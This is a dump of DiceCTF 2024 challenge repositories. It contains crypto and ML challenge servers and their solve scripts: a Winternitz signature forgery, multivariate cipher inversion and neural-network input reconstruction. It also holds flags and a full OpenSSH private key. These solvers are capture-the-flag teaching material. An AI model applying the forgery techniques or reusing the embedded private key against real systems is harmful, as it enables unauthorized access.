18 | pkgs.python312 19 | pkgs.python312Packages.aiohttp 20 | pkgs.python312Packages.fastecdsa 21 | pkgs.python312Packages.pycryptodome 22 | pkgs.python312Packages.requests 23 | ]; 24 | }; 25 | } 26 | ); 27 | } 28 | -------------------------------------------------------------------------------- /dicectf-finals-2024/mental-poker/game/base.py: -------------------------------------------------------------------------------- 1 | from abc import ABC, abstractmethod 2 | 3 | 4 | class Game(ABC): 5 | 6 | @classmethod 7 | @abstractmethod 8 | def check(cls, transcript: list[str]) -> tuple[bool, str]: 9 | ''' 10 | Determines the winner of a complete transcript. 11 | Returns False if guesser wins or True if setter 12 | wins, along with a reason. 13 | ''' 14 | pass 15 | 16 | class Alice(ABC): 17 | 18 | @abstractmethod 19 | def first_message(self) -> str: 20 | ''' 21 | Computes the guesser's first message. 22 | ''' 23 | pass 24 | 25 | @abstractmethod 26 | def second_message(self, transcript: tuple[str, str]) -> str: 27 | ''' 28 | Computes the guesser's second message based on its 29 | current state and a partial transcript. 30 | ''' 31 | pass 32 | 33 | def cheated(self, transcript: tuple[str, str, str, str]): 34 | ''' 35 | Checks if the setter cheated based on the full transcript. 36 | ''' 37 | del transcript 38 | return False 39 | 40 | class Bob(ABC): 41 | 42 | @abstractmethod 43 | def first_response(self, transcript: tuple[str]) -> str: 44 | ''' 45 | Computes the setter's first response based on the partial transcript. 46 | ''' 47 | pass 48 | 49 | @abstractmethod 50 | def second_response(self, transcript: tuple[str, str, str]) -> str: 51 | ''' 52 | Computes the setter's second response based on the partial transcript. 53 | ''' 54 | pass 55 | -------------------------------------------------------------------------------- /dicectf-finals-2024/mental-poker/game/card.py: -------------------------------------------------------------------------------- 1 | from random import SystemRandom 2 | 3 | from fastecdsa.point import Point 4 | 5 | from .params import curve 6 | 7 | random = SystemRandom() 8 | 9 | 10 | class Card: 11 | def __init__(self, P, Q): 12 | self.P = P 13 | self.Q = Q 14 | 15 | @classmethod 16 | def new(cls, value): 17 | return cls(Point.IDENTITY_ELEMENT, value) 18 | 19 | 20 | class Shuffle: 21 | def __init__(self, perm, masks): 22 | self.perm = perm 23 | self.masks = masks 24 | 25 | @classmethod 26 | def random(cls, n): 27 | perm = random.sample(range(n), k=n) 28 | masks = [random.randrange(curve.q) for _ in range(n)] 29 | return cls(perm, masks) 30 | 31 | def __sub__(self, other): 32 | perm = [other.perm.index(x) for x in self.perm] 33 | masks = [(r1 - r2) % curve.q for r1, r2 in zip(self.masks, map(other.masks.__getitem__, perm))] 34 | return Shuffle(perm, masks) 35 | 36 | def apply(self, pub, cards, curve=curve): 37 | return [Card(c.P + r * curve.G, c.Q + r * pub) for c, r in zip(map(cards.__getitem__, self.perm), self.masks)] 38 | -------------------------------------------------------------------------------- /dicectf-finals-2024/mental-poker/game/mix.py: -------------------------------------------------------------------------------- 1 | import itertools 2 | import json 3 | from multiprocessing import Pool 4 | 5 | from Crypto.Hash import SHAKE128 6 | 7 | from .card import Shuffle 8 | from .params import curve, MIX_BIT_SECURITY, WORKERS 9 | 10 | def slow_apply(shuffles, pub, decks): 11 | return [Shuffle.apply(shuffle, pub, deck, curve) for shuffle, deck in zip(shuffles, decks)] 12 | 13 | def fast_apply(shuffles, pub, decks): 14 | with Pool(WORKERS) as p: 15 | return p.starmap(Shuffle.apply, [(shuffle, pub, deck, curve) for shuffle, deck in zip(shuffles, decks)]) 16 | 17 | def hash_to_chall(pub, old, new, tmps): 18 | points = [pub] 19 | for card in itertools.chain(old, new, *tmps): 20 | points.append(card.P) 21 | points.append(card.Q) 22 | shake = SHAKE128.new() 23 | shake.update(json.dumps([(P.x, P.y) for P in points]).encode()) 24 | bits = int.from_bytes(shake.read((MIX_BIT_SECURITY + 7) // 8), 'big') 25 | return [bool((bits >> i) & 1) for i in range(MIX_BIT_SECURITY)] 26 | 27 | def mix_and_prove(pub, old, par=True): 28 | snew = Shuffle.random(len(old)) 29 | new = snew.apply(pub, old) 30 | stmps = [Shuffle.random(len(old)) for _ in range(MIX_BIT_SECURITY)] 31 | tmps = (fast_apply if par else slow_apply)(stmps, pub, itertools.repeat(old)) 32 | chall = hash_to_chall(pub, old, new, tmps) 33 | shuffles = [s if c else s - snew for c, s in zip(chall, stmps)] 34 | return new, (chall, shuffles) 35 | 36 | def verify(pub, old, new, proof, par=True): 37 | chall, shuffles = proof 38 | tmps = (fast_apply if par else slow_apply)(shuffles, pub, [old if c else new for c in chall]) 39 | assert chall == hash_to_chall(pub, old, new, tmps) 40 | -------------------------------------------------------------------------------- /dicectf-finals-2024/mental-poker/game/params.py: -------------------------------------------------------------------------------- 1 | import fastecdsa.curve 2 | 3 | curve = fastecdsa.curve.P256 4 | MIX_BIT_SECURITY = 64 5 | 6 | WORKERS = 4 7 | -------------------------------------------------------------------------------- /dicectf-finals-2024/mental-poker/game/reveal.py: -------------------------------------------------------------------------------- 1 | import json 2 | from random import SystemRandom 3 | 4 | from Crypto.Hash import SHAKE128 5 | import fastecdsa.keys 6 | 7 | from .params import curve 8 | 9 | random = SystemRandom() 10 | 11 | def hash_to_chall(points): 12 | shake = SHAKE128.new() 13 | shake.update(json.dumps([(P.x, P.y) for P in points]).encode()) 14 | return fastecdsa.keys.gen_private_key(curve, randfunc=shake.read) 15 | 16 | def cp_prove(Gs, Hs, x): 17 | r = random.randrange(curve.q) 18 | As = [r * G for G in Gs] 19 | c = hash_to_chall(As) 20 | y = (x * c + r) % curve.q 21 | return c, y 22 | 23 | def cp_verify(Gs, Hs, proof): 24 | c, y = proof 25 | As = [y * G - c * H for G, H in zip(Gs, Hs)] 26 | assert c == hash_to_chall(As) 27 | 28 | def reveal_and_prove(card, pub, priv): 29 | share = priv * card.P 30 | proof = cp_prove([curve.G, card.P], [pub, share], priv) 31 | return share, proof 32 | 33 | def verify(card, pub, share, proof): 34 | cp_verify([curve.G, card.P], [pub, share], proof) 35 | -------------------------------------------------------------------------------- /dicectf-finals-2024/mental-poker/requirements.txt: -------------------------------------------------------------------------------- 1 | aiohttp 2 | fastecdsa 3 | pycryptodome 4 | requests 5 | -------------------------------------------------------------------------------- /dicectf-finals-2024/mental-poker/scripts/stress_test.py: -------------------------------------------------------------------------------- 1 | from multiprocessing import Pool 2 | import random 3 | import time 4 | 5 | import fastecdsa.curve 6 | 7 | curve = fastecdsa.curve.P256 8 | 9 | ''' 10 | The goal of this script is to make sure that your machine is powerful enough 11 | to run the client script. Set WORKERS to be roughly the number of cores on 12 | your machine. delta should be comfortably less than 30 seconds. On my M1 Pro, 13 | delta is ~6 seconds with WORKERS = 4. 14 | 15 | When you receive the game logic code, update game/params.py to use the same 16 | WORKERS constant. 17 | ''' 18 | 19 | WORKERS = 4 20 | 21 | def foo(r): 22 | P = r * curve.G 23 | Q = r * P 24 | return P + Q 25 | 26 | if __name__ == '__main__': 27 | NGAMES = 88 28 | start = time.time() 29 | for _ in range(NGAMES): 30 | with Pool(WORKERS) as p: 31 | p.map(foo, [random.randrange(0, curve.q) for i in range(128)]) 32 | end = time.time() 33 | print(f'delta: {end - start}') 34 | -------------------------------------------------------------------------------- /dicectf-finals-2024/mental-poker/server/main.py: -------------------------------------------------------------------------------- 1 | from aiohttp import web 2 | from .server import static 3 | 4 | from .routes.game import game_route 5 | from .routes.public import public_route 6 | 7 | 8 | def make_app(): 9 | app = web.Application(client_max_size=16 * 1024 * 1024) 10 | app.add_routes(game_route.routes()) 11 | app.add_routes(public_route.routes()) 12 | app.add_routes([static("static")]) 13 | return app 14 | 15 | 16 | web.run_app(make_app()) 17 | -------------------------------------------------------------------------------- /dicectf-finals-2024/mental-poker/server/routes/public.py: -------------------------------------------------------------------------------- 1 | import time 2 | from dataclasses import dataclass 3 | from ..state import game 4 | from ..server import JsonApiRouter, RouteException 5 | 6 | 7 | @dataclass 8 | class PublicRequest: 9 | set_id: int 10 | game_id: int 11 | round_id: int 12 | remaining: int 13 | data: dict 14 | 15 | 16 | async def public_handler(request) -> PublicRequest: 17 | if request.method == "POST": 18 | data = await request.json() 19 | else: 20 | data = request.query 21 | 22 | try: 23 | ( 24 | set_id, 25 | game_id, 26 | round_id, 27 | remaining, 28 | ) = game.current_round_time(int(time.time())) 29 | except AssertionError: 30 | raise RouteException(404, "game is not running") 31 | 32 | return PublicRequest(set_id, game_id, round_id, remaining, data) 33 | 34 | 35 | public_route = JsonApiRouter("/public", public_handler) 36 | 37 | 38 | @public_route.get("/round") 39 | async def get_round(request): 40 | game_id = request.game_id 41 | round_id = request.round_id 42 | time_left = request.remaining 43 | return {"game_id": game_id, "round_id": round_id, "time_left": time_left} 44 | -------------------------------------------------------------------------------- /dicectf-finals-2024/mental-poker/server/state.py: -------------------------------------------------------------------------------- 1 | import time 2 | from .game import Game 3 | 4 | USERNAMES = [ 5 | "Blue Water", 6 | "*0xA", 7 | "idek", 8 | "rev mains fr", 9 | "BunkyoWesterns", 10 | "Thehackerscrew", 11 | "View Source", 12 | "les amateurs", 13 | "organizers", 14 | "P1G SEKAI", 15 | "goose guild", 16 | "Maple Bacon", 17 | ] 18 | 19 | game = Game("state/game.db", 1719759600) 20 | 21 | print("=== NORMAL TEAMS ===") 22 | for user in USERNAMES: 23 | token = game.add_team(user) 24 | print(f"{user}: {token}") 25 | 26 | print("=== ADMIN BOTS ===") 27 | for i in range(len(USERNAMES) - 1): 28 | admin = f"admin_{i:02}" 29 | token = game.add_team(admin, is_admin=True) 30 | print(f"{admin}: {token}") 31 | -------------------------------------------------------------------------------- /dicectf-finals-2024/triad/c.txt: -------------------------------------------------------------------------------- 1 | (33, 69, 226, 194, 218, 248, 216, 35, 2, 120, 166, 94, 139, 124, 152, 220, 102, 33, 41, 254, 114, 251, 32, 207, 186, 207, 10, 217, 237, 233, 64, 60, 155, 72, 236, 23, 127, 128, 17, 110) -------------------------------------------------------------------------------- /dicectf-finals-2024/triad/flag.txt: -------------------------------------------------------------------------------- 1 | dice{mult1var14t3_tri@ngul4r_1nversi0n!} 2 | -------------------------------------------------------------------------------- /dicectf-finals-2024/triad/solve.sage: -------------------------------------------------------------------------------- 1 | import itertools 2 | from tqdm import tqdm 3 | 4 | n = 40 5 | K = GF(257) 6 | 7 | R = PolynomialRing(K, n, 'z') 8 | z0, z1, z2, z3, z4, z5, z6, z7, z8, z9, z10, z11, z12, z13, z14, z15, z16, z17, z18, z19, z20, z21, z22, z23, z24, z25, z26, z27, z28, z29, z30, z31, z32, z33, z34, z35, z36, z37, z38, z39 = R.gens() 9 | 10 | def minrank(P, ell): 11 | Ms = [] 12 | for p in P: 13 | M = zero_matrix(K, ell) 14 | for j, k in itertools.combinations_with_replacement(range(ell), 2): 15 | M[j,k] = p.monomial_coefficient(z[n - ell + j] * z[n - ell + k]) 16 | Ms.append(M) 17 | 18 | while True: 19 | print('guessing kernel...') 20 | x = random_vector(K, ell) 21 | B = matrix(K, [M * x for M in Ms]) 22 | beta = B.left_kernel()[1] 23 | H = sum(beta[i] * M for i, M in enumerate(Ms)) 24 | if H.rank() == 0: 25 | return beta 26 | 27 | with open('pk.txt') as f: 28 | pk = eval(f.read().replace('^', '**')) 29 | 30 | with open('c.txt') as f: 31 | c = vector(K, eval(f.read())) 32 | 33 | P = pk 34 | z = P[0].parent().gens() 35 | flag = [] 36 | for i in tqdm(range(n)): 37 | beta = minrank(P, n - i) 38 | f = sum(beta[i] * p for i, p in enumerate(P)) 39 | xi = (f - beta * c).univariate_polynomial().roots()[0][0] 40 | P = [p.subs({z[i]: xi}) for p in P] 41 | flag.append(xi) 42 | 43 | print(bytes(flag)) 44 | -------------------------------------------------------------------------------- /dicectf-finals-2024/triad/triad.sage: -------------------------------------------------------------------------------- 1 | import itertools 2 | 3 | n = 40 4 | K = GF(257) 5 | 6 | R = PolynomialRing(K, n, 'z') 7 | z = R.gens() 8 | 9 | def keygen(): 10 | F = [] 11 | for i in range(n): 12 | f = z[i] 13 | for zj in z[:i]: 14 | f += K.random_element() * zj 15 | for zj, zk in itertools.combinations_with_replacement(z[:i], 2): 16 | f += K.random_element() * zj * zk 17 | F.append(f) 18 | 19 | S = random_matrix(K, n) 20 | while S.is_singular(): 21 | S.randomize() 22 | 23 | P = [sum(si * f for si, f in zip(s, F)) for s in S] 24 | return P, (F, S^-1) 25 | 26 | def encrypt(pk, m): 27 | P = pk 28 | return vector(K, [p(*m) for p in P]) 29 | 30 | def decrypt(sk, c): 31 | w = [] 32 | for f, t in zip(*sk): 33 | w.append(t * c - f.subs(dict(zip(z, w))).constant_coefficient()) 34 | return vector(K, w) 35 | 36 | if __name__ == '__main__': 37 | with open('flag.txt', 'rb') as f: 38 | flag = f.read().strip() 39 | assert len(flag) == n 40 | 41 | pk, sk = keygen() 42 | m = vector(K, flag) 43 | c = encrypt(pk, m) 44 | 45 | with open('pk.txt', 'w') as f: 46 | f.write(str(pk)) 47 | 48 | with open('c.txt', 'w') as f: 49 | f.write(str(c)) 50 | -------------------------------------------------------------------------------- /dicectf-quals-2024/dicenet/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust:slim as build 2 | 3 | WORKDIR /app 4 | COPY ./challenge . 5 | RUN cargo build --release --bin server 6 | 7 | FROM pwn.red/jail 8 | COPY --from=build / /srv 9 | RUN cp /srv/app/target/release/server /srv/app 10 | COPY ./challenge/net/model.json ./challenge/net/weights.json /srv/app/ 11 | COPY ./run.sh /srv/app/run 12 | ENV JAIL_TIME=60 JAIL_MEM=100M JAIL_CPU=1000 13 | -------------------------------------------------------------------------------- /dicectf-quals-2024/dicenet/challenge/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "dicenet" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | ocelot = {git = "https://github.com/GaloisInc/swanky.git", branch = "dev"} 10 | fancy-garbling = {git = "https://github.com/GaloisInc/swanky.git", branch = "dev"} 11 | scuttlebutt = {git = "https://github.com/GaloisInc/swanky.git", branch = "dev"} 12 | clap = { version = "4.4.18", features = ["derive"] } 13 | colored = "1.8.0" 14 | image = "0.24.8" 15 | itertools = "0.8.0" 16 | ndarray = "0.13.0" 17 | pbr = "1.0.2" 18 | serde = "1.0.101" 19 | serde_json = "1.0.40" 20 | -------------------------------------------------------------------------------- /dicectf-quals-2024/dicenet/challenge/README.txt: -------------------------------------------------------------------------------- 1 | The code in this challenge is largely taken from 2 | https://github.com/GaloisInc/garbled-neural-network-experiments 3 | 4 | This challenge is not about an implementation-level bug (but who knows, maybe 5 | there is one). Instead, you should focus on the content in these papers: 6 | - https://ia.cr/2016/969 7 | - https://ia.cr/2019/338 8 | 9 | If you're actively working on this, don't hesitate to message me on Discord. 10 | Depending on where people are at, I will consider releasing a hint. And if 11 | you've solved the challenge, I'd also love to talk about it! 12 | -------------------------------------------------------------------------------- /dicectf-quals-2024/dicenet/challenge/sheep.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-quals-2024/dicenet/challenge/sheep.png -------------------------------------------------------------------------------- /dicectf-quals-2024/dicenet/challenge/src/lib.rs: -------------------------------------------------------------------------------- 1 | pub mod layer; 2 | pub mod neural_net; 3 | pub mod util; 4 | -------------------------------------------------------------------------------- /dicectf-quals-2024/dicenet/make_handout.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | cp -r challenge dicenet 4 | tar -cvzf handout.tar.gz --exclude='.*' --exclude='weights.json' dicenet 5 | rm -rf dicenet -------------------------------------------------------------------------------- /dicectf-quals-2024/dicenet/ml/export.py: -------------------------------------------------------------------------------- 1 | import json 2 | import shutil 3 | 4 | def zeroize(x): 5 | if type(x) == list: 6 | return [zeroize(y) for y in x] 7 | else: 8 | return 0 9 | 10 | with open('./model.json') as f: 11 | model = json.load(f) 12 | 13 | del model['config']['layers'][0] 14 | 15 | with open('../challenge/net/model.json', 'w') as f: 16 | json.dump(model, f) 17 | 18 | shutil.copyfile('./weights.json', '../challenge/net/weights.json') 19 | 20 | with open('./weights.json') as f: 21 | weights = json.load(f) 22 | 23 | dummy_weights = zeroize(weights) 24 | 25 | with open('../challenge/net/dummy_weights.json', 'w') as f: 26 | json.dump(dummy_weights, f) 27 | -------------------------------------------------------------------------------- /dicectf-quals-2024/dicenet/ml/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-quals-2024/dicenet/ml/flag.png -------------------------------------------------------------------------------- /dicectf-quals-2024/dicenet/ml/generate_dataset.py: -------------------------------------------------------------------------------- 1 | import numpy as np 2 | import os 3 | from PIL import Image 4 | 5 | def add_noise(flag): 6 | arr = flag + np.random.normal(scale=5, size=(64, 64)) 7 | arr *= 255/260 8 | return Image.fromarray(arr.astype('uint8')).convert('L') 9 | 10 | def random_image(): 11 | arr = np.random.rand(64, 64) * 255 12 | return Image.fromarray(arr.astype('uint8')).convert('L') 13 | 14 | os.makedirs('dataset/flag') 15 | os.makedirs('dataset/notflag') 16 | 17 | img = Image.open('flag.png').convert('L').resize((64, 64)) 18 | flag = np.array(img.getdata()).astype(np.float32).reshape((64, 64)) 19 | for i in range(5000): 20 | im = add_noise(flag) 21 | im.save(f'dataset/flag/{i}.png') 22 | 23 | for i in range(5000): 24 | im = random_image() 25 | im.save(f'dataset/notflag/{i}.png') 26 | -------------------------------------------------------------------------------- /dicectf-quals-2024/dicenet/ml/reverse.py: -------------------------------------------------------------------------------- 1 | import json 2 | import keras 3 | import keras.backend as K 4 | import matplotlib.pyplot as plt 5 | import numpy as np 6 | import tensorflow as tf 7 | 8 | tf.compat.v1.disable_eager_execution() 9 | 10 | with open('./model.json') as f: 11 | m = keras.models.model_from_json(f.read().replace('tanh', 'linear')) 12 | 13 | with open('./weights.json') as f: 14 | layers = [] 15 | for layer in json.load(f): 16 | layers.append(np.array(layer)) 17 | m.set_weights(layers) 18 | 19 | # intially random vector 20 | crafted_input = np.random.rand(64, 64) 21 | 22 | # learning rate 23 | lr = 0.2 24 | 25 | m_in = m.input 26 | m_out = m.output 27 | 28 | # probability of predicting class 4 29 | cost = m_out[0,1] 30 | 31 | # calculate the gradient through our model 32 | grad = K.gradients(cost, m_in)[0] 33 | 34 | # function to calculate current cost and gradient 35 | step = K.function([m_in, K.learning_phase()], [cost, grad]) 36 | 37 | # fetch gradient and apply 38 | p, gradients = step([crafted_input, 0]) 39 | crafted_input += gradients * lr 40 | 41 | plt.imshow(crafted_input, interpolation='none') 42 | plt.show() 43 | -------------------------------------------------------------------------------- /dicectf-quals-2024/dicenet/ml/train.py: -------------------------------------------------------------------------------- 1 | import json 2 | import numpy as np 3 | import tensorflow as tf 4 | 5 | def normalize_img(image, label): 6 | return tf.cast(image, tf.float32) / 255, label 7 | 8 | ds_train, ds_test = tf.keras.utils.image_dataset_from_directory( 9 | './dataset', 10 | color_mode='grayscale', 11 | image_size=(64, 64), 12 | seed=1337, 13 | validation_split=0.2, 14 | subset='both', 15 | ) 16 | 17 | ds_train = ds_train.map(normalize_img) 18 | ds_train = ds_train.prefetch(tf.data.AUTOTUNE) 19 | 20 | ds_test = ds_test.map(normalize_img) 21 | ds_test = ds_test.prefetch(tf.data.AUTOTUNE) 22 | 23 | model = tf.keras.models.Sequential([ 24 | tf.keras.layers.Flatten(input_shape=(64, 64)), 25 | tf.keras.layers.Dense(32, activation='tanh'), 26 | tf.keras.layers.Dense(32, activation='tanh'), 27 | tf.keras.layers.Dense(2), 28 | ]) 29 | 30 | model.summary() 31 | 32 | model.compile( 33 | optimizer=tf.keras.optimizers.Adam(0.001), 34 | loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True), 35 | metrics=[tf.keras.metrics.SparseCategoricalAccuracy()], 36 | ) 37 | 38 | model.fit( 39 | ds_train, 40 | epochs=16, 41 | validation_data=ds_test, 42 | ) 43 | 44 | config = model.to_json() 45 | with open('model.json', 'w') as f: 46 | f.write(config) 47 | 48 | weights = model.get_weights() 49 | with open('weights.json', 'w') as f: 50 | json.dump([(x*255).astype(np.int16).tolist() for x in weights], f) 51 | -------------------------------------------------------------------------------- /dicectf-quals-2024/dicenet/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | ./server --model model.json --weights weights.json 4 | -------------------------------------------------------------------------------- /dicectf-quals-2024/dicenet/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | dicenet = {path = "../challenge"} 10 | ocelot = {git = "https://github.com/GaloisInc/swanky.git", branch = "dev"} 11 | fancy-garbling = {git = "https://github.com/GaloisInc/swanky.git", branch = "dev"} 12 | scuttlebutt = {git = "https://github.com/GaloisInc/swanky.git", branch = "dev"} 13 | clap = { version = "4.4.18", features = ["derive"] } 14 | itertools = "0.8.0" 15 | num-integer = "0.1.45" 16 | pbr = "1.0.2" 17 | rand = "0.8.5" 18 | rand_core = "0.6.4" 19 | subtle = "2.5.0" 20 | -------------------------------------------------------------------------------- /dicectf-quals-2024/dicenet/solve/solve.py: -------------------------------------------------------------------------------- 1 | import json 2 | import keras 3 | import keras.backend as K 4 | import matplotlib.pyplot as plt 5 | import numpy as np 6 | import tensorflow as tf 7 | 8 | tf.compat.v1.disable_eager_execution() 9 | 10 | with open('../challenge/net/dummy_weights.json') as f: 11 | layers = json.load(f) 12 | 13 | with open('weights.txt') as f: 14 | weights = json.load(f) 15 | 16 | with open('biases.txt') as f: 17 | biases = json.load(f) 18 | 19 | for i in range(len(layers)): 20 | if i % 2 == 0: 21 | m = len(layers[i]) 22 | n = len(layers[i][0]) 23 | for j in range(m): 24 | for k in range(n): 25 | layers[i][j][k] = weights[k*m+j] 26 | weights = weights[m*n:] 27 | elif i < len(layers) - 1: 28 | n = len(layers[i]) 29 | layers[i], biases = biases[:n], biases[n:] 30 | layers[i] = np.array(layers[i]) 31 | 32 | assert len(weights) == 0 33 | assert len(biases) == 0 34 | 35 | with open('../challenge/net/model.json') as f: 36 | m = keras.models.model_from_json(f.read().replace('tanh', 'linear')) 37 | m.set_weights(layers) 38 | 39 | # intially random vector 40 | crafted_input = np.random.rand(64, 64) 41 | 42 | # learning rate 43 | lr = 0.2 44 | 45 | m_in = m.input 46 | m_out = m.output 47 | 48 | # probability of predicting class 4 49 | cost = m_out[0,1] 50 | 51 | # calculate the gradient through our model 52 | grad = K.gradients(cost, m_in)[0] 53 | 54 | # function to calculate current cost and gradient 55 | step = K.function([m_in, K.learning_phase()], [cost, grad]) 56 | 57 | # fetch gradient and apply 58 | p, gradients = step([crafted_input, 0]) 59 | crafted_input += gradients * lr 60 | 61 | plt.imshow(crafted_input, interpolation='none') 62 | plt.show() 63 | -------------------------------------------------------------------------------- /dicectf-quals-2024/winter/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.11.1-slim-bullseye AS app 2 | RUN pip install --no-cache pycryptodome 3 | 4 | FROM pwn.red/jail:0.3.1 5 | COPY --from=app / /srv 6 | COPY server.py /srv/app/run 7 | COPY flag.txt /srv/app/ 8 | ENV JAIL_MEM=20M JAIL_CPU=500 9 | -------------------------------------------------------------------------------- /dicectf-quals-2024/winter/flag.txt: -------------------------------------------------------------------------------- 1 | dice{according_to_geeksforgeeks} 2 | -------------------------------------------------------------------------------- /dicectf-quals-2024/winter/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | 3 | import os 4 | from hashlib import sha256 5 | 6 | # winternitz one-time signature, w = 8 7 | 8 | class Wots: 9 | def __init__(self, sk, vk): 10 | self.sk = sk 11 | self.vk = vk 12 | 13 | @classmethod 14 | def keygen(cls): 15 | sk = [os.urandom(32) for _ in range(32)] 16 | vk = [cls.hash(x, 256) for x in sk] 17 | return cls(sk, vk) 18 | 19 | @classmethod 20 | def hash(cls, x, n): 21 | for _ in range(n): 22 | x = sha256(x).digest() 23 | return x 24 | 25 | def sign(self, msg): 26 | m = self.hash(msg, 1) 27 | sig = b''.join([self.hash(x, 256 - n) for x, n in zip(self.sk, m)]) 28 | return sig 29 | 30 | def verify(self, msg, sig): 31 | chunks = [sig[i:i+32] for i in range(0, len(sig), 32)] 32 | m = self.hash(msg, 1) 33 | vk = [self.hash(x, n) for x, n in zip(chunks, m)] 34 | return self.vk == vk 35 | 36 | if __name__ == '__main__': 37 | with open('flag.txt') as f: 38 | flag = f.read().strip() 39 | 40 | wots = Wots.keygen() 41 | 42 | msg1 = bytes.fromhex(input('give me a message (hex): ')) 43 | sig1 = wots.sign(msg1) 44 | assert wots.verify(msg1, sig1) 45 | print('here is the signature (hex):', sig1.hex()) 46 | 47 | msg2 = bytes.fromhex(input('give me a new message (hex): ')) 48 | if msg1 == msg2: 49 | print('cheater!') 50 | exit() 51 | 52 | sig2 = bytes.fromhex(input('give me the signature (hex): ')) 53 | if wots.verify(msg2, sig2): 54 | print(flag) 55 | else: 56 | print('nope') 57 | -------------------------------------------------------------------------------- /dicectf-quals-2024/winter/solve.py: -------------------------------------------------------------------------------- 1 | # import os 2 | # from hashlib import sha256 3 | # from tqdm import tqdm 4 | 5 | # msg = os.urandom(32) 6 | # for _ in tqdm(range(2**32)): 7 | # m = sha256(msg).digest() 8 | # for n in m: 9 | # if n >= 128: 10 | # break 11 | # else: 12 | # print('low', msg.hex()) 13 | # for n in m: 14 | # if n <= 128: 15 | # break 16 | # else: 17 | # print('high', msg.hex()) 18 | # msg = m 19 | 20 | from pwn import process, remote 21 | from server import Wots 22 | 23 | low = '86c3384427915fcf838d8b4983d17e441a08b1d8977df45aa1055d9dace0baeb' 24 | high = '77495be1984783379b67274507be5d43dea544c17348c5c43fa36e74b58c77de' 25 | 26 | io = process(['python', 'server.py']) 27 | 28 | io.sendlineafter(': ', high.encode()) 29 | io.recvuntil(': ') 30 | sig1 = bytes.fromhex(io.recvline().decode()) 31 | 32 | m1 = Wots.hash(bytes.fromhex(low), 1) 33 | m2 = Wots.hash(bytes.fromhex(high), 1) 34 | chunks = [sig1[i:i+32] for i in range(0, len(sig1), 32)] 35 | sig2 = b''.join([Wots.hash(x, n2 - n1) for x, n1, n2 in zip(chunks, m1, m2)]) 36 | 37 | io.sendlineafter(': ', low.encode()) 38 | io.sendlineafter(': ', sig2.hex().encode()) 39 | io.interactive() 40 | -------------------------------------------------------------------------------- /dicectf-quals-2024/yaonet/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:xenial 2 | 3 | RUN apt-get -y update 4 | RUN apt-get -y install openssh-server 5 | 6 | RUN mkdir /var/run/sshd 7 | RUN sed -i "s/#PasswordAuthentication yes/PasswordAuthentication no/" /etc/ssh/sshd_config 8 | 9 | RUN adduser --system ctf 10 | 11 | ADD flag.txt /etc/motd 12 | RUN sed -i "s/PrintLastLog yes/PrintLastLog no/g" /etc/ssh/sshd_config 13 | 14 | RUN mkdir -p /home/ctf/.ssh 15 | ADD id_ecdsa.pub /home/ctf/.ssh/authorized_keys 16 | 17 | EXPOSE 22 18 | 19 | CMD ["/usr/sbin/sshd", "-D"] 20 | -------------------------------------------------------------------------------- /dicectf-quals-2024/yaonet/flag.txt: -------------------------------------------------------------------------------- 1 | dice{now_can_you_sing_it?} 2 | -------------------------------------------------------------------------------- /dicectf-quals-2024/yaonet/id_ecdsa: -------------------------------------------------------------------------------- 1 | -----BEGIN OPENSSH PRIVATE KEY----- 2 | ??????????1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAA???????????????????????? 3 | ??????????c3RwMjU2AAAACG5pc3RwMjU2AAAAQQR72Bqp???????????????????????? 4 | ??????????1hSxoXrVpRtsx1F2GIgXAqI/6MxuS7Bq86XF???????????????????????? 5 | ??????????ZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAy???????????????????????? 6 | ??????????lSEQfdEcgOhx7zvWFLGhetWlG2zHUXYYiBcC???????????????????????? 7 | ??????????37PMrof3dNCpeuwsSUupbaUh3/+7+eDnRH+3???????????????????????? 8 | -----END OPENSSH PRIVATE KEY----- 9 | -------------------------------------------------------------------------------- /dicectf-quals-2024/yaonet/id_ecdsa.pub: -------------------------------------------------------------------------------- 1 | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHvYGqk903tU4dOcBPTbZ9xl5rlSEQfdEcgOhx7zvWFLGhetWlG2zHUXYYiBcCoj/ozG5LsGrzpcXE3HuEzPEQg= foo 2 | -------------------------------------------------------------------------------- /dicectf-quals-2024/yaonet/id_ecdsa_original: -------------------------------------------------------------------------------- 1 | -----BEGIN OPENSSH PRIVATE KEY----- 2 | b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS 3 | 1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQR72BqpPdN7VOHTnAT022fcZea5UhEH 4 | 3RHIDoce871hSxoXrVpRtsx1F2GIgXAqI/6MxuS7Bq86XFxNx7hMzxEIAAAAoGHek8hh3p 5 | PIAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHvYGqk903tU4dOc 6 | BPTbZ9xl5rlSEQfdEcgOhx7zvWFLGhetWlG2zHUXYYiBcCoj/ozG5LsGrzpcXE3HuEzPEQ 7 | gAAAAgRVOJ37PMrof3dNCpeuwsSUupbaUh3/+7+eDnRH+3yf4AAAADZm9vAQIDBAU= 8 | -----END OPENSSH PRIVATE KEY----- 9 | -------------------------------------------------------------------------------- 